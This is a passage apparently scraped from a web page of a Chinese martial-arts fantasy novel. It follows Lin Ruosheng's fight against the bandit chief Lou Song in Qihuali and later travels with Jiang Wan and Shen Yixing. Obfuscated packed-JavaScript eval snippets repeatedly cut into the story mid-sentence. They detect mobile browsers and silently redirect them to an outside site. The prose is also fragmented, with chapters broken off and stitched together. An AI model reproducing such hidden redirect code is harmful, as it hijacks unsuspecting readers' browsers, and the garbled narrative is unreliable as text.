这一举动彻底惹怒了楼颂,他立刻下令全镇通缉她,哪怕挖地三尺也要找到这个女人。然而,连续三天过去了,依旧没有发现她的任何踪迹。正当楼颂以为她已经逃走时,林女侠再次悄然潜入他刚刚搬进的新宅子里。 不用说,她又放了一把火。不过这次她就没那么幸运了,楼颂早已在宅子周围安排了里外三层的守卫,虽然她成功溜进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170811|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宅内,但火势如此之大,最终还是惊动了土匪们。 半百名土匪紧追不舍,林女侠不忍心持刀伤人,只能用刀背将他们一个个击倒在地。可由于人数众多,局势逐渐对她不利起来。就在一名土匪企图从背后偷袭她时,突然间,那人被一根飞来的银针击中,晕倒在地。 "啊咧???"林女侠惊讶地愣住了,是何方神圣在暗处帮她?但此刻她无暇深思,趁着其他土匪也陷入困惑之中,迅速逃离现场。 在路过一户人家的时候,那虚掩的大门突然快速打开,一只手从门内伸出,一把将门外路过的林女侠拽了进来,随后大门又迅速合上了。 “嘘!” 眼前一位蒙面的姑娘轻声说道。她知道外面的人很快就会追到这里,所以让林女侠先别出声。约莫又过了半炷香的时间,见那些人从这地儿走过以后,这俩人才松了口气。 “刚是你救的我么?”林女侠笑嘻嘻地问道。 “你也太莽撞了!放火那么大的事儿,干了一次居然还敢做第二次?”蒙面的姑娘低声呵斥道。 “哎呀,我这不是没事儿么,还没请叫恩人大名。”她说完又觉得少了点什么,继续说道:“我叫林若生。” “苏晚晴。我若不来,你就有事儿了。”苏晚晴语气严肃地回答道。 “可我就是看他们不顺眼嘛!再加上这儿的县令就是个怂蛋!完全不管百姓的死活!”林若生愤愤不平道。 “那你大可以换个法子,没必要把自己也折进去。”苏晚晴边说话边带着她往堂屋走去。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第64章 剿匪 “我们是来剿匪的!”林若生斩钉截铁地说道,那理所应当又一本正经的表情就好似是在说“我们只是来喝茶的”。 金益冬:...... 装都不装一下的??? “咳。”苏晚晴看了林若生一眼,示意她莫要再开口说话了。 “还请大人出手救救我们!若非实在是走投无路,也断不会求到大人跟前儿......”沈柔突然扑腾一声跪了下来,边说边用袖子擦拭着眼泪,豆大的泪珠滚滚而下,看起来楚楚可怜。 林若生心里不禁感慨道:妙啊!这哭的梨花带雨的,连她一个女子看到都有些于心不忍,更别说那些男人了。 金益东长叹一口气,上前将沈柔扶了起来,无奈地说道:“不是在下不愿意,是实在有心无力。” “大人有何难处?还请一一诉出。”苏晚晴皱起眉头,一脸严肃地问道。 金益东深吸一口气,缓缓说道:“我不是没有尝试过去剿匪,我当初来这里上任后做的第一件事就是剿匪。可……可奇怪的是每次行动的时候那楼颂都能清楚的预算到我们从何处下手,并且及时抽调出人手去对搜刮别的村子!春平县虽然不算大,但相较于小小的栖花里来说,孰轻孰重……”他的语气中带着深深的无奈和叹息。 想要栖花里,就保不住别的村镇,想要别的村镇就别再打栖花里的主意。那土匪的势力日益壮大,而他手下的兵力可却停滞没有变化。 “他能料事如神到哪一步??”沈柔此时已经停止了抽泣,声音略带沙哑地问道。 金益东小心翼翼地看了一眼左右以及门口,确认周围没有人后,才压低声音悄悄说道:“他竟然连我们何时剿匪、何处进攻以及派去的人数都了解得一清二楚。” 听到这话,林若生脸上露出一副吃惊的表情,脱口而出道:“你这儿莫不是有内奸?” 金益东沉重地点点头,表示赞同,然后接着说:“我们也曾怀疑有内奸,可直到如今也未能查出那个通风报信的人究竟是谁。当时,我们对所有知道剿匪计划的人员进行了逐一审讯,可并未发现他们有任何可疑之处,甚至还都能互相证明!” “大人可愿意再次围剿这群土匪?我明白大人有所顾虑,您担心其他村子的百姓会受到牵连。他们确实无辜,但栖花里的百姓难道就活该遭受这些苦难吗?没有人应该无缘无故地承受这一切。您的放任不管只会让土匪的气焰愈发嚣张,他们的势力逐年扩大,大人您还要继续装作聋哑、忍气吞声到何时呢!栖花里的哭喊您听不到!栖花里的破败您也看不见!倘若有朝一日,楼颂的刀杀到了您家门口,大人是否还能像如今这般沉住气说一句你只是迫不得已呢?”沈柔铿锵有力的说完这些,前厅顿时安静到极点,此刻哪怕掉根儿针,在座的几人都能听的一清二楚。 金益东的脸上露出一丝苦涩的笑容,他怎么会不知道栖花里的百姓生活艰难,这两年甚至已经有很多人被活活饿死。可当其他遭受伤害的村民联合起来逼迫他停止剿匪时,他内心又何尝不煎熬呢?又该如何做到两全呢? 上头不愿意给他增派兵力,早已对栖花里不闻不问,放弃了这里。而内部又隐藏着他一无所知的细作,与那楼颂勾结在一起,狼狈为奸。 这几年来,他将自己微薄的俸禄全部拿出来补贴百姓,但这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170812|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像是将一颗小石子投入大海一样,毫无作用,连一点涟漪都没能激起。 他的棱角早已经被生活的艰辛所磨灭,曾经的抱负和理想也在父母因为他的无能而离世的那一刻彻底崩溃。现在的他还能做些什么呢? 想到这些,他的眼眶渐渐湿润,泪水模糊了视线。他默默地伸出那双布满老茧的手,轻轻地捂住自己蜡黄的脸庞,试图掩饰内心的悲伤和无奈。 金益东看着眼前三人,语气诚恳地说道:“你们……你们可以帮帮栖花里吗?我实在不知道该怎么办了。我没有那么多的兵力去剿匪,也没有那个能力去抓住内奸,可我也是真心盼着栖花里的百姓能过的好一些。” 他求的是帮栖花里,而不是帮他。 沈柔问他府上收藏的可有栖花里的地图,金益东点头说有,然后赶忙转身去取。 待金益东走后,她又看向另外两人,开口说道:“栖花里的事儿二位姐姐若是执意要管,那么这手上必定是要沾染鲜血的,你们可都曾杀过人?” 她知道苏晚晴是救死扶伤、心怀大义的大夫,她的那双手本该就是用来救人的,可如今却让她去杀人,难免有些……强人所难。 “不曾,但在栖花里作乱的这群渣滓不能称之为人吧。”苏晚晴冷冷的说道。 金益东很快便将地图拿了过来,沈柔接过地图,铺展开来仔细观看。在大致了解了此地的地势以及敌我双方悬殊的兵力之后,她不禁皱起了那对细长的眉毛。尽管此刻她的头发略显凌乱,衣物也显得有些脏污,但依然无法掩盖住她那美丽动人的容颜。 这章没有结束,请点击下一页继续阅读! 第65章 落定 等林若生将那帮人全部收拾妥当后,终于有时间处理其他事情时,楼颂早已消失得无影无踪。她急忙再次发射了一个信号筒。第一个信号筒是向外界传递消息,表示她已经找到了楼颂;而这第二个则是提醒沈柔和其他人,楼颂已经逃跑,需要加强警惕。 "去为本姑娘打一碗水过来。"林若生踢了踢那个趴在地上佯装死亡的人,但那人毫无反应,甚至在听到她的话语之后,连呼吸声也变得轻柔起来。林若生不耐烦地发出"啧"的声音,并毫不犹豫地再次踢了那人一脚。"听好了,去打一碗水来。要么打水,要么打架,自己选吧。" 那人明智地选择了前者,迅速从地上爬起来,一瘸一拐地走向厨房。"别妄想像你家主人那样趁机溜走,如果让我发现,会把你的骨头都敲碎哦。"林若生转头看向那人,看到他险些摔倒的样子便明白他并不具备这样的胆量,不禁轻轻笑出声来。 楼颂原以为此次行动会如往常般顺利,然而事实证明,他过于轻视对手了。或许那个所谓的"叛徒"并未向他转达完整的计划。因为在他准备带领其他兄弟们前往其他村庄时,却惊讶地发现每个路口都站着几名身着相同服饰的人。显然,这些人并非是金益冬的人。 尽管楼颂并不修仙也不问道,但作为一个闯荡江湖多年的人,他一眼就能看出那些人的身份。于是,他果断地下令手下分散行动,即使无法离开栖花里,也要尝试利用当地百姓的性命作为盾牌。 他倒要看看金益冬如何应对这一局面。毕竟,光脚的不怕穿鞋的,而金益冬则需要顾虑太多了。 待身边的人纷纷离去后,楼颂才从容地抽出佩刀,悠然自得地走向竹林林深处。这条小路相对隐秘,无论是躲藏起来还是悄然溜走,都极为便利。可惜林子不大,他一个人的话动静会小一些,若是带着其他弟兄一起走怕是没走多远就会被人察觉,所以他巴不得他们出不去,最好是能闹出些人命,多为他拖延时间。 此时的楼颂已经在计划如何卷土重来了,丝毫没有注意到林子的尽头还站着一个人。 林笑君靠在树上都快等睡着了,正当她迷迷糊糊地要进入梦乡时,突然听到了一阵脚步声传来。她瞬间惊醒,眼睛睁开,只见一个提着刀的身影正缓缓朝着这边走来。她立刻来了精神,伸了伸懒腰,活动了一下肩膀,由于太久没有与人交手,她决定不用剑,以免下手过重失去乐趣。 她抬手摘下一片竹叶,注入一丝灵力,然后漫不经心地将其扔向那个身影。"嗖"的一声,竹叶在离手的瞬间迅速飞射而出,速度之快令人咋舌。 而此时的楼颂根本来不及做出任何反应,只觉得脸上一凉,竹叶已经划过他的脸颊,留下了一道浅浅的血痕。"谁!!!"楼颂顿时紧张了起来,双手紧紧攥着自己的配刀,警惕地看着四周。然而,他并没有得到任何回应,只有一片寂静。 就在这时,第二片竹叶飞射而来,这次瞄准的是楼颂的右手。楼颂压根就没有躲避的时间,他甚至看不到这玩意儿是从哪飞来的。竹叶迅速划过他的手背,带来一阵刺痛,鲜血顿时涌出。但他只能强忍着疼痛,不敢松手。 当金益冬带着人匆匆赶到时,楼颂早已被打得不成人形,浑身鲜血淋漓,仿佛一滩烂泥般瘫倒在地,毫无生气可言。哪怕他是罪有应得之人,但目睹如此惨状,难免不会触目心惊。陈丰年彻夜未眠,亲自率领手下四处追捕那些逃窜的土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“看什么看?”林若生问这话的时候双手抱胸,一副兴师问罪的样子。 只见江言庭微微一笑,目光中透露出一丝欣赏之意,声音低沉而富有磁性:“看姑娘生得如此美丽动人,犹如仙子下凡,令人一时移不开眼。是在下唐突了,还望姑娘恕罪。”说着,他优雅地施了一礼,表示歉意。 俗话说伸手不打笑脸人,林若生冷哼一声,转过头继续同付冲聊起方才没说完的话题。 没一会儿,秦方礼从远处走来,边走边抱怨着:“姑洗堂到底在哪!这条街我都已经走遍了,怎么还是找不到。” 林若生从粮铺出来后正好听到了他们的对话,停下脚步插话道:“你去姑洗堂作甚?” 秦方礼回答道:“找人。” 林若生没有过多询问,只是撂下两个字:“跟上。”然后便先行一步离开了。 秦方礼一脸疑惑地看着江言庭,悄声问道:“你认识?” 江言庭耸了耸肩,摇了摇头表示并不认识。 如今的栖花里,几乎所有人都认识林若生,所以这一路上难免会有人主动上前与她打招呼,而她也会十分有耐心的放慢步子,和他们闲谈两句。 “若若这是去哪了?”一个正在哄娃娃睡觉的女子笑着问道。林若生微笑着走过去,轻轻捏了捏那小孩儿红扑扑的脸蛋儿,柔声回答道:“去付家那粮铺了,有人同我说他这几日总是高价出售米粮,我过去说他几句。你看他多可爱啊,还想牵我手呢。”女 人怀里的孩子在被她捏到脸的时候就已经睁开了眼睛,看到逗他的人是谁以后,还冲林若生甜甜地笑了一下,伸出小手试图抓住她的手指。 “他这是喜欢你呢。” 林若生听到这句话,笑得更开心了。“看来这孩子打小就眼光高呢!”她一边说着,一边又想起了别的事情,接着问道:“你家那个最近可还有对你动手?” 提到这个话题,女子的眼神黯淡下来,但还是勉强挤出一丝笑容说道:“有你在,他哪还敢动手啊。这两天去东地那边帮着建房子,总是早出晚归的,也没时间跟我置气了。” 结婚多年,丈夫对她非打即骂,然而自从她生了孩子后,情况稍有好转。前几天,丈夫再次对她动手时,恰好被路过的林若生看到。林若生毫不犹豫地上前,狠狠地教训了那个男人。其他街坊邻居都清楚这个男人的品行,便也没有一人上前阻拦,只是静静地看着林若生在街上打人。 当晚,因为这件事,沈柔责备了林若生几句,提醒她下次出手轻点,或者选择一个人少的地方。那个人几乎被打得奄奄一息。一旁正在磨药的苏晚晴插话道:“没关系,有我在就不会出人命,放心打。”沈 柔无奈地叹了口气,手扶额头说道:“你们两个啊!无论如何,他们毕竟还是夫妻,床头吵架床尾和。如果她的丈夫真的有什么三长两短,到时候找麻烦的又是你们。做事情要考虑后果,特别是这种容易得罪人的事情。” 林若生理直气壮地回应道:“我已经考虑过了啊。” “那你说说,你都考虑了什么?” “出事了找你,打残了找晴儿。” 林若生说完这句还得意地笑了,同时不忘夸自己一下:我可真聪明啊! “我总不会一直在这儿,等你有时间的时候带着孩子过来,我教你几招儿,保证以后只有你打他的份儿!”林若生认真地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170814|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那女子,眼神坚定而真诚。待那女子点头答应后,林若生这才放心地转身离去。 三人继续沿着街道前行,当快要到达姑洗堂时,看到了卖花的宋姨。 林若生脸上露出一丝惊喜,连忙走上前去,热情地打招呼:“宋姨,今天卖到钱了吗?”她边说边蹲下身子,仔细地帮忙挑选花朵,将那些已经蔫儿了的花儿挑出来,或是以低价出售,或是直接舍弃。 宋姨听到林若生的声音,抬起头来,眼中满是慈爱和温暖。她笑着回答道:“若若回来啦,刚刚有两个小郎君买走了一些。”说着,宋姨的目光落在了林若生身后的江言庭等人身上,眼神中透露出一丝好奇。 林若生听到“小郎君”这个词,不禁心头一动,下意识地回头看了一眼站在身后的江言庭。 被看的江言庭:?????? 随后林若生从怀中掏出几个铜钱,轻轻地放进了篮子里,然后对着宋姨说道:“我要那朵开得最艳丽的花,送给我身后这位小郎君。”她的声音清脆悦耳,让人听了心情愉悦。 “哪个啊?你身后可是站着两位呢。”宋姨一边熟练地包装着花朵,一边笑着打趣道。 “自然是最俊俏的那个!”林若生毫不犹豫地回答道。 “我看都俊俏。”宋姨看着眼前这两个年轻的小伙子,眼中满是欣赏之情。 “是么?我怎么瞅着带白玉发簪的那个更俊呢。”林若生嘴角微微上扬。 听到这句话,江言庭的耳垂瞬间变得通红,他有些不好意思地低下了头。而一旁看戏的秦方礼则笑得合不拢嘴,他觉得这个姑娘真是有趣极了。 这章没有结束,请点击下一页继续阅读! 第67章 龙潜 秦念淑静静地站在屋檐下,目光越过雨幕,落在雨中的三人身上。 自从江挽起身离开后,沈亦行突然改变座位,走到窗边时,秦念淑心中不禁涌起一丝疑惑。 这些天来,她一直在观察着沈亦行和江挽之间的互动,发现他们除了必要的交流外,几乎没有更多的言语交流。这种情况让她感到可疑,因为根据她对沈亦行的了解,这样的行为显然是异常的。 秦念淑深知沈亦行的性格,他对待其他女子通常都会保持一定的距离,但又不失礼貌和风度。然而,现在面对江挽时,他却表现出一种刻意的回避态度,既不主动与她交谈,也避免与她有过多的接触。 这种特殊的对待方式让秦念淑突然意识到,沈亦行一直以来对她都并非是知无不言言无不尽,哪怕二人关系匪浅,但沈亦行却总是给她一种若即若离的感觉。 她想起了一些事情,比如沈亦行突然消失了十一年里都住在哪里,又是和谁一起生活?此外,那个曾让沈亦行不惜用生命去保护的人又是谁?她都一无所知。 秦念淑最初也试图向沈亦行询问这些问题,但每次得到的回答都是沉默或者被那人轻巧地转移了话题。她也逐渐明白了每个人都有自己不愿为人所知的秘密,便也不再追问。 她吩咐茶楼的小厮送来了雨伞,而后朝着沈亦行撑伞走过去。 “先吃饭吧,茶楼的老板准备了一些家常菜。”她朝这三人说道,可这三人却没有一个打算移步离开。 “江挽。”沈亦行沙哑着声音说出这两个字,大雨早就淋湿了他的衣服,他却毫不在意,眼睛只看着眼前冷漠的女子。 在秦念淑打算劝说两句的时候,江挽突然抬起了手,而后轻轻放在了林若生执剑的手上。 “我走啦。”她边说边用食指去抚摸那冰冷的雕像,满眼都是不舍。 可雕像又怎会说话呢? 但江挽就是觉得她已经回应过她了,犹如记忆中无数次温柔的叮嘱。 “路上小心,早点回家。” 雨水打湿了她的衣裙和发丝,手在滑落的那一刻,她深吸一口气,挥袖离开了这里,一旁的江洵也立马撑伞跟上。 等再坐到茶楼时,秦念淑拿来了几个干净的帕子,让这两个浑身是水的人先擦擦头发。又朝掌柜的借了两身干净的衣裳,让他俩换上,都别着凉了。 大家默契的闭口不提方才发生的事情,只是低头夹菜吃饭,只有秦在锦偶尔吐槽一两句这菜是不是辣椒放多了。 “等雨小一点的时候,咱们再去住的地方。那是我娘曾经购置的房子,也是她们当时的住所。因着有些朋友会过来小住几日,便又扩建了一层,所以眼下房间也是够住的。”秦念淑边吃边安排。 “我要跟洵儿睡一屋。”秦在锦突然举手道。 江洵:???? 你姐都说了,房间是够的! 秦在锦没有理会他那个疑惑地眼神,自顾自的说着:“你那胳膊该换药了,一会儿我给你换一下。” 傅霖冷笑一声,说道:“可我也该换药了。” “少来,你师父送来的药可是上等的!你那伤口早就愈合了。”秦在锦反驳道。 “是吗,我总觉着还没好呢。”傅霖说这话的时候抬手摸了摸肩膀上的伤口,那里早就结疤了。 “衣服脱了我帮你看看。”秦念淑笑得一脸狡黠,抬手拿筷子指了指傅霖的伤口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170815|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅霖立即摆摆手说道:“不劳烦姐姐了,我突然又觉得好了。” 饭后,秦念淑带着他们回到了自己的住所,这是一座远离喧嚣的宅子,周围环境清幽宁静,空气清新宜人。宅子门口有一块刻着“凭栏居”的石碑,字体苍劲有力。 进入宅子后,映入眼帘的是一个宽敞的庭院,院子的左侧里有一小块篱笆围着的地,里面种着各种草药,散发出阵阵清香。右侧则是厨房和仓库,厨房内设施齐全,仓库里堆满了生活用品和粮食。 围墙下种着看不出品种的花儿,只是眼下早就过了花期,那叶子都有些发黄了。墙角还有三个小孩子玩的木马,整齐地摆放在那里,仿佛在等待孩子们的归来。 中间是一栋两层的小楼房,一楼是她们三人曾居住的卧房和堂屋,房间布置得简洁大方,家具摆放得井井有条。而二层则是她们朋友偶尔过来游玩时临时居住的客房,每个房间的装饰虽简单却又透露出主人家的细心。 堂屋的正中央挂着一幅画,画中的背景就是在栖花里。 只见一片花海之前,沈柔在同金益冬指着眼前的图纸在交谈,而她身侧还坐着一个拿扇子遮阳,正在打盹的男子。苏晚晴和秦方礼则在耐心地教一群孩子认识手中草药的形状,在他们几步之外站着正在切磋比武的四人,林若生和林笑君相对而立,站在他们身旁的分别是江言庭和陈丰年。 他们周围还站着一群鼓掌叫好的人群,只是那群看戏的人中,站着一个格格不入却又分外显眼的男子。他双手抱胸,笑的一脸肆意潇洒,那双炯炯有神的目光却温柔地落在了林笑君身上。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第68章 上荷 江挽恍恍惚惚间听到一阵敲门声,那声音仿佛从遥远的地方传来却又在耳畔呢喃。然而,此刻的她像是被某种力量束缚住了身体,动弹不得。 她艰难地召唤出星回,用尽全身力气强迫自己的手腕动起来。锋利的刀刃划过掌心,带来一阵尖锐的刺痛感。只有在这一刻,她才逐渐找回对身体的控制权。 她清楚地知道,这是药物的副作用所致,这种情况已经不是第一次发生了。 但她要光明,不要命。 敲门声依旧持续不断,江挽深吸一口气,努力调整自己的呼吸节奏。她用袖子随意地擦拭了一下脖颈处渗出的汗水,然后摸索着向门口走去。当她打开门的一瞬间,秦念淑惊讶得愣住了。眼前的江挽面色苍白如纸,发丝凌乱不堪,眉头紧锁,但望向她的眼神中充满了警惕。 “何事?”江挽的声音低沉而沙哑。 “把你的手给我。”秦念淑毫不犹豫地伸出手,想要为她号脉,但被江挽迅速的躲开了。 “别动!” 秦念淑再次下手,加大了力度。如果换做平时,或许江挽能够挣扎一下,但此时此刻,论起力气,江挽显然不是秦念淑的对手。 江挽见她是不打算罢休,无奈地叹了口气。“先进来吧。” 秦念淑进门的时候看了一眼站在一旁的沈亦行,天太黑,那人又低着头,看不清脸上的表情。她关门的时候特意留了一条缝,没有关严实。进屋以后,第一件事就是把房间的蜡烛都拿出来,一一点上了。 “这是做什么?”江挽不解地问道。 “我冷。”秦念淑面不改色地回答道。随后又让江挽坐床上去,她则拎了个凳子坐在了床侧。 “手。” 江挽听话的将右手递了出去。 一个发号施令,一个乖乖照做。 一个皱眉把脉,一个侧耳听雨。 “你这身子与其继续服药不如好生静养,那一包包的药吃下去对你来说只会弊大于利,纯粹是得不偿失!”秦念淑语气严肃地说道。 眼睛和性命,二者取其一。 无论怎么选,都是后者更重要一些。 “我知道。”江挽语气平缓地回答道,对于自己的身体状况,她自然心中有数。 然而,秦念淑却难以置信地质问:“你知道你还服药?!你不要命了?”秦念淑原本已经收回了手,但心中的怒火让她再次扬起手,狠狠地抽打在江挽的手背上。“嘶——”江挽猝不及防地被打中,疼得倒吸一口凉气。 “干什么!我都没使劲儿。”秦念淑的确没有用多大力气,只是轻轻地抽了一下而已。但她忽略了一个重要的事实,她抽打的是江挽受伤的左手,而江挽掌心被星回划破的伤口并未包扎,此刻仍有鲜血渗出。 秦念淑看着江挽痛苦的表情,连忙探过头去查看,却惊讶地发现江挽的指缝竟然有血迹。她瞪大了眼睛,心想:“不会吧!难道我的修为已经进化到如此地步,即使不用灵力也能伤人?” 江挽看着秦念淑那副既惊讶又欣喜的模样,心中暗自叹息。尽管她不清楚秦念淑脑子里到底在想些什么,但从她的表情可以看出,肯定不是什么好事儿。于是,她淡淡地说:“不关你的事,这是我自己弄伤的。” 听到这话的秦念姝,反手又给了她一掌,只是这次拍的是胳膊。 一个两个的一点儿也不让人省心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170816|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “哪个庸医给你开的药?药方你那还有么?快给我瞅瞅上面都写的什么。” “你父亲。” “......” 要不是念着秦方礼是她亲爹,她这会儿子已经问候那人九族了。 “他就是一个只知道四处游玩的糟老头子,他懂个屁的医术!”秦念淑破口大骂道。 江挽想到最初见到秦方礼的时候,他也是这么评价秦念淑的,“她就是一个只知道打打杀杀的小丫头片子,她懂个屁的医术!” 要不说是一家人呢。 瞅瞅,连调侃对方的话语都如出一辙。 江挽从怀中掏出秦方礼写给她的药方,递到了秦念淑手中。此时的秦念淑正处于气头之上,但她接过药方后神情就严肃了下来,借着微弱的烛光仔细端详起手中的药方。 看着看着,秦念淑轻声说道:“其实有些药材……”可话未说完,她突然停下,转过头来,目光凝视着江挽。 这个药方对于秦念淑来说并不陌生,因为就在两年前,秦方礼从东宁城回来后的第一件事,便是与她讨论起一个病患。据秦方礼所说,那位病患身子常年虚弱又患有眼疾,之前一直有在服药,但病情未见好转。 当时,秦念淑还好奇地问秦方礼为何此次会主动与她商讨用药之事。秦方礼沉默片刻后,一脸认真地回答道:“她与你年龄相仿,有时我不禁想到,如果有一天我们的阿念也失去了视力,那该让你多么伤心难过啊。爹爹不希望看到你难过,只想让你一生都快快乐乐的。因此,我也希望她能够快乐一些,趁着年轻多欣赏一下这世间万物。” 这章没有结束,请点击下一页继续阅读! 第69章 冬苓 一只木鸽从远处悠悠地飞了过来,轻盈地落在了门口那威武雄壮的石狮子上。它静静地待在那里,直到有人从门内走出来,它才缓缓地扭过头来,许是察觉到来人并没有注意到自己,它便站在狮子头上欢快地蹦跳起来,试图吸引那人的目光。 木鸽,顾名思义,木头做的鸽子。所以它只能用来传递书信,并不能同真正的鸽子一样发出声音。 当沈亦行终于看到它并向它伸出手时,它才一步步跳过来,最终轻快地跳到了沈亦行的手上。 沈亦行展开手中的小纸条,仔细阅读后,转头问身边的秦念淑:“我们是否路过上荷村?” 秦念淑想了片刻后,点了点头。又好奇地问道:“怎么了?” “有些私人事务要处理。”说完,他轻轻搓动手指,那张纸条瞬间化为灰烬,随风飘散。接着,他看向江洵等人,温和地说:你们若是急于赶路,可以先行一步,不必等我。” 江洵立马看了眼一旁的江挽,这种事儿自然是要询问他师父的意见。 只是在江挽还没回话的时候,秦念淑就开口道:“不急不急,难得出来一趟,多玩一会儿也没什么。而且上荷村的糕点可是出了名儿的好吃!江洵,你不是要给你师父买桂花糕么?我看择日不如撞日,一起去尝尝呗!”她巴不得路上的行程能再慢一些,这样她就有足够的时间去观察江挽的病情。 而一旁的傅霖无声冷笑,好好好,你们都不急,就我归心似箭! 启程后依旧是傅霖和江洵骑马先行,秦在锦驾车紧随其后。 “我就不明白了,你为啥不骑马呢?”秦念淑问这句话的时候,冲沈亦行撇了撇嘴。 “我花了钱,我还不能坐了?”沈亦行嘴角微微上扬,一副你能奈我何的模样。 “......” 行! 等行至大路,马车稍微不再颠簸以后,秦念淑小心翼翼地从怀里掏出一条洁白如雪的纱带,对江挽说道:“这条白纱我已经用药水浸泡了好几个时辰,其实从时间上来算还是远远不够的,今日你且先将就戴吧。等晚上有充足的时间以后,我再多做几条,方便你可以随身携带,可以一天更换一次。”说完,秦念淑温柔地将白纱系替江挽系上。 江挽微微闭上眼睛,感受着白纱的触感,同时也闻到了一股淡淡的菊花和茯苓的香气,其中还夹杂着一些她无法辨认出的其他药材的味道。 当白纱完全遮住了江挽的眼睛时,秦念淑用一种欣赏的目光注视着她,不禁感叹道:“好看!” 江挽的面相原本更像父亲多一些,但现在遮住了眼睛之后,却让人感觉更像她母亲了。 秦念淑转头问身边的沈亦行:“你说是不是很好看?” 沈亦行轻声应道:“嗯。” 秦念淑故意打趣道:“‘嗯’是什么意思呢?是好看还是不好看?” “好看。” 一直没有说话的江挽突然开口问道:“是白纱好看还是人好看?” 沈亦行轻咳了一声,然后红着耳垂,低声回答道:“锦上添花。” 而马车外的三人则在闲谈方才听到的那个案子。 秦在锦率先开口说道:“你们觉得那姑娘究竟是失踪了还是临时有事儿外出了?” 傅霖略作思考后回答道:“不好说,失踪的可能性会更大一些。” “我是这么认为的,一个腿部受伤的姑娘不太可能无缘无故地出远门,而且如果真的是有什么差事儿要办,金叔那边不可能不知情。”秦在锦附和着傅霖的观点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170817|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这时,一直沉默不语的江洵插话道:“也有可能是因为受伤了以后自己一人居住生活上会有些不太方便,所以去朋友家借住几日。” 傅霖点了点头,“不排除这种可能,但还有另一种情况。”说到这里,他的眼神变得阴沉起来,“替她挂牌子的那个人撒了谎,她压根儿就没有回来。不过嘛!这种可能性并不大,因为只要稍加调查就能查清楚她当日是否曾出现在春平县。” 秦在锦听后,轻声说道:“那我还是希望她只是去朋友家借住了吧。”毕竟,如果女子失踪的话,很有可能会遭遇不测,甚至面临生命危险。 一行人就这么聊着聊着就到了上荷村的地界儿,先是将马都安顿在一个地方后才和沈亦行分开行动。他一个人去办事儿,而另外几人则是先找了个饭馆儿准备吃点东西垫垫肚子。 只是在还未进门的时候,就听到里面传来了一个熟悉的声音。 秦在锦最先朝那处望了过去,果然是她!他朝那人喊了过去,同时还不忘挥挥手。 